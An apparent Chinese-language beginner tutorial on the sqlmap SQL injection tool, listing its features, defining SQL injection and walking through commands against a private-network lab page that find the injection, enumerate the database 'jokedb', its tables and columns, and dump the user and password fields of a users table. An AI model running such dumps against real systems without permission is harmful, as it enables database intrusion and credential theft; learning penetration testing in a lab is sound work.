sql注入7:sqlmap簡單操作
一、sqlmap是什麼,具有什麼特點?
sqlmap是開源的自動化SQL注入工具,由Python寫成,具有如下特點:
完全支援MySQL、Oracle、PostgreSQL、Microsoft SQLServer、Microsoft Acess、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和informix等多種資料庫管理系統。
完全支援布林型盲注、時間盲注、基於錯誤資訊的注入、聯合查詢注入和堆查詢注入。
在資料庫證書、IP地址、埠和資料庫名等條件允許的情況下支援不通過SQL注入點而直接連線資料庫。
支援列舉使用者、密碼、雜湊、許可權、角色、資料庫、資料表和列
支援自動識別密碼雜湊格式並通過字典破解密碼雜湊
支援完全下載某個資料庫中的某個表,也可以只下載某個表中的某幾列,甚至只下載一列中的部分資料,這完全取決於使用者的選擇。
支援在資料庫管理系統中搜集指定的資料庫名、表名或列名
當資料庫管理系統是MySQL、PostgreSQL或Microsofe SQLServer時支援下載或上傳檔案
當資料庫管理系統是MySQL、PostgreSQL或Microsofe SQLServer時執行任意命令並回顯標準輸出
二、簡單瞭解sql注入
1.SQL注入是什麼
通過SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字元,最終達到欺騙伺服器執行 惡意的SQL命令。其主要原因時程式沒有細緻地過濾使用者輸入的資料,導致非法資料侵入系統。
2.使用sqlmap進行簡單注入操作
測地址試:http://192.168.1.5/727/index.php?id=1
具體步驟:
檢視是否存在sql注入
sqlmap.py -u http://192.168.1.5/727/index.php?id=1
列出當前使用的庫
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 --current-db
現在我們拿到了所使用的庫為jokedb,然後由此拿到庫中的表名
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb --tables
拿到表名後,就可以對他的欄位進行測試
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb -T users --columns
最後一步查看錶中的資料
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb -T users -C user,pass --dump